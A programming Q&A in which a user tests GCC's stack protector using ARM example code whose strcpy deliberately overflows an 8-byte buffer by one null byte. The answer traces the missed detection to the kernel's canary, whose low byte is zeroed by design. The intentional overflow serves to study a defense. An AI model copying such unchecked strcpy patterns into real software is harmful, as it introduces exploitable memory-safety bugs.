stack protector does not throw error with strcpy() - stack

Question

I'm testing an example of stack protector from ARM reference document (https://developer.arm.com/documentation/101754/0616/armclang-Reference/armclang-Command-line-Options/-fstack-protector---fstack-protector-all---fstack-protector-strong---fno-stack-protector), which has code like:
// main.c
#include <stdio.h>
#include <stdlib.h>
void *__stack_chk_guard = (void *)0xdeadbeef;
void __stack_chk_fail(void)
{
fprintf(stderr, "Stack smashing detected.\n");
exit(1);
}
void get_input(char *data);
char main(void)
{
char buffer[8] = { 0 };
char *overflowed = &buffer[8];
get_input(buffer);
// =============================================================
// The following line is added by me. This triggers stack smashing,
// but strcpy() should also trigger stack smashing detect.
// *overflowed = 0xFF;
printf("buffer: %s\n", buffer);
printf("buffer addr: 0x%08x\n", buffer[8]);
// =============================================================
return buffer[0];
}
// get.c
#include <string.h>
void get_input(char *data)
{
strcpy(data, "01234567");
}
I think this code intends to make stack overflow by accessing extra memory(buffer[8]) for NULL character using strcpy(). But the actual behavior is that no messages are thrown at all.
➜ stack_protector gcc main.c get.c -o test -fstack-protector-all
➜ stack_protector ./test
buffer: 01234567
buffer addr: 0x00000000
I checked that stack protector cannot detect smashing error if the stack size is smaller than 8 bytes, but this is not the case I think. Is there anything I am missing?

Answer 1

I stepped through the code with a debugger and figured out the stack guard value was not set properly. Its lower 8bits are always set to zero, which results in detection miss.
Since fs:0x28 register is set from the operating system, I reported this to my Linux distro's bug tracker.
--
(Added) I looked into Kernel code and there is code like:
/*
* On 64-bit architectures, protect against non-terminated C string overflows
* by zeroing out the first byte of the canary; this leaves 56 bits of entropy.
*/
#ifdef CONFIG_64BIT
# ifdef __LITTLE_ENDIAN
# define CANARY_MASK 0xffffffffffffff00UL
# else /* big endian, 64 bits: */
# define CANARY_MASK 0x00ffffffffffffffUL
# endif
#else /* 32 bits: */
# define CANARY_MASK 0xffffffffUL
#endif
Basically, initializing the first byte of the canary to zero is intended by kernel code. This is a kind of boundary that secures canary value from printing out. Due to \0 character, we can prevent canary value from printing out and this is the reason that I cannot reproduce stack overflow error with NULL character using strcpy().